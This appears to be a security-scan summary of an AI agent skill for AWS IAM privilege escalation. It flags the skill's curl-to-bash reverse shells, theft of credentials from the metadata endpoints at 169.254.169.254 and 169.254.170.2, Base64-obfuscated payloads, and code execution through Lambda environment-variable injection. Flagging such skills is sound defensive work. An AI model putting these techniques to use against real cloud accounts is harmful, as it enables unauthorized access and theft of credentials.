The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The file references/compute-privesc.md provides multiple commands to download and execute shell scripts directly from the internet using the curl [URL] | bash pattern, specifically to establish reverse shells from EC2 instances and Lambda functions to external domains.
[DATA_EXFILTRATION]: Instructions across the skill describe how to extract temporary AWS credentials from metadata endpoints (169.254.169.254 and 169.254.170.2) and exfiltrate them to external attacker-controlled webhooks or hosts via POST requests.
[OBFUSCATION]: Several payloads, such as those for EC2 UserData and ECS Task Definitions, are programmatically encoded in Base64 within the scripts to facilitate the injection of multi-line malicious logic while potentially bypassing simple security monitoring controls.
[COMMAND_EXECUTION]: The skill generates and executes shell and Python scripts at runtime (e.g., using cat << 'EOF') to automate the harvesting of environment variables and sensitive files for lateral movement.
[PRIVILEGE_ESCALATION]: The central purpose of the skill is to provide a methodology for unauthorized privilege escalation in AWS. It covers 46 distinct techniques to move from a limited IAM entity to full AdministratorAccess.
[DYNAMIC_EXECUTION]: The skill utilizes advanced techniques like environment variable injection (e.g., PYTHONWARNINGS and BROWSER) in Lambda functions to achieve code execution by triggering the antigravity module.

aws-iam-privesc